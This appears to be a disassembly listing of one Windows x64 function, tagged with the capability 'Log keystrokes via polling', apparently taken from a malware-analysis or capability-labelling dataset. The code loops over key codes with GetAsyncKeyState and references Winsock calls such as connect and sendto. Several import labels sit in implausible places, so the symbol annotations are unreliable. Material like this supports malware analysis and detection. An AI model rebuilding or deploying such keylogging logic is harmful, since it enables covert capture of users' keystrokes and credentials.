Function at 0x14009a050
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1401b9d88]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor ebx, ebx
mov rax, qword [0x1401c2430]
cmp byte [rax + 0x180], bl
je 0x14009a4e9
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x70], xmm0
lea r8d, [rbx + 2]
lea rdx, [0x14017003c]
lea rcx, [rsp + 0x60]
call fcn.140010770
mov dword [rbp - 0x80], reloc.WS2_32.dll_WSASetLastError
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rbx
lea r8d, [rbx + 2]
lea rdx, [0x140170040]
lea rcx, [rbp - 0x78]
call fcn.140010770
mov dword [rbp - 0x58], WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x40], xmm1
lea r8d, [rbx + 2]
lea rdx, [0x140170044]
lea rcx, [rbp - 0x50]
call fcn.140010770
mov dword [rbp - 0x30], WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
lea r8d, [rbx + 2]
lea rdx, [0x140170048]
lea rcx, [rbp - 0x28]
call fcn.140010770
mov dword [rbp - 8], reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x10], xmm1
lea r8d, [rbx + 2]
lea rdx, [0x14017004c]
lea rcx, [rbp]
call fcn.140010770
mov dword [rbp + 0x20], reloc.WS2_32.dll_WSACleanup
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rbx
lea r8d, [rbx + 2]
lea rdx, [0x140170050]
lea rcx, [rbp + 0x28]
call fcn.140010770
mov dword [rbp + 0x48], 0x75
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x60], xmm1
lea r8d, [rbx + 2]
lea rdx, [0x140170054]
lea rcx, [rbp + 0x50]
call fcn.140010770
mov dword [rbp + 0x70], 0x76
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x90], rbx
lea r8d, [rbx + 2]
lea rdx, [0x140170058]
lea rcx, [rbp + 0x78]
call fcn.140010770
mov dword [rbp + 0x98], 0x77
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb0], xmm1
lea r8d, [rbx + 2]
lea rdx, [0x14017005c]
lea rcx, [rbp + 0xa0]
call fcn.140010770
mov dword [rbp + 0xc0], 0x78
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xe0], rbx
lea r8d, [rbx + 3]
lea rdx, [0x140170060]
lea rcx, [rbp + 0xc8]
call fcn.140010770
mov dword [rbp + 0xe8], 0x79
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
lea r8d, [rbx + 3]
lea rdx, [0x140170064]
lea rcx, [rbp + 0xf0]
call fcn.140010770
mov dword [rbp + 0x110], 0x7a
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rbx
mov qword [rbp + 0x130], rbx
lea r8d, [rbx + 3]
lea rdx, [0x140170068]
lea rcx, [rbp + 0x118]
call fcn.140010770
mov dword [rbp + 0x138], 0x7b
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x160]
call fcn.1400227d0
nop
lea r9, [fcn.140004970]
lea edx, [rbx + 0x28]
lea r8d, [rbx + 0xc]
lea rcx, [rsp + 0x60]
call fcn.14014359c
mov r13, qword [rbp + 0x160]
mov rbx, qword [r13 + 8]
mov r14, r13
mov r15, qword [reloc.WS2_32.dll_ntohs]
mov rsi, qword [reloc.WS2_32.dll_connect]
mov r12, qword [0x1401b55b8]
cmp byte [rbx + 0x19], 0
jne 0x14009a3ad
nop word [rax + rax]
lea rcx, [rbx + 0x20]
lea rdx, [0x1401b55b8]
cmp r15, 0x10
cmovae rdx, r12
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x14009a371
mov rcx, qword [rcx]
mov r8, rdi
cmp rsi, rdi
cmovb r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14009a38a
jns 0x14009a395
mov al, 0xff
jmp 0x14009a397
cmp rdi, rsi
jae 0x14009a393
mov al, 0xff
jmp 0x14009a397
jbe 0x14009a3a1
mov al, 1
test al, al
jns 0x14009a3a1
mov rbx, qword [rbx + 0x10]
jmp 0x14009a3a7
mov r14, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x14009a350
cmp byte [r14 + 0x19], 0
jne 0x14009a4c1
lea rdx, [r14 + 0x20]
mov rbx, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14009a3ca
mov rdx, qword [rdx]
lea rcx, [0x1401b55b8]
cmp r15, 0x10
cmovae rcx, r12
mov r8, rsi
cmp rbx, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14009a3f2
jns 0x14009a3fd
mov al, 0xff
jmp 0x14009a3ff
cmp rsi, rbx
jae 0x14009a3fb
mov al, 0xff
jmp 0x14009a3ff
jbe 0x14009a407
mov al, 1
test al, al
js 0x14009a4c1
cmp r14, r13
je 0x14009a4c1
lea rdx, [0x1401b55b8]
lea rcx, [rbp + 0x160]
call fcn.14002ad90
mov ecx, dword [rax]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14009a4ba
mov qword [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_200
lea rcx, [rsp + 0x50]
call fcn.14001fd50
mov rcx, qword [reloc.WS2_32.dll_ntohl]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x14
jb 0x14009a519
lea rax, [0x1401b5458]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rax, qword [0x1401b5458]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_sendto
lea r9, str.actioninput_ntext_
lea r8, [0x1401b5458]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x140]
call fcn.140004850
lea rcx, [rbp + 0x140]
call fcn.14004e210
mov r13, qword [rbp + 0x160]
mov r8, qword [r13 + 8]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x160]
call fcn.1400134c0
mov edx, 0x48
mov rcx, qword [rbp + 0x160]
call fcn.1401433c0
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1401434e0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400049d0
nop
int3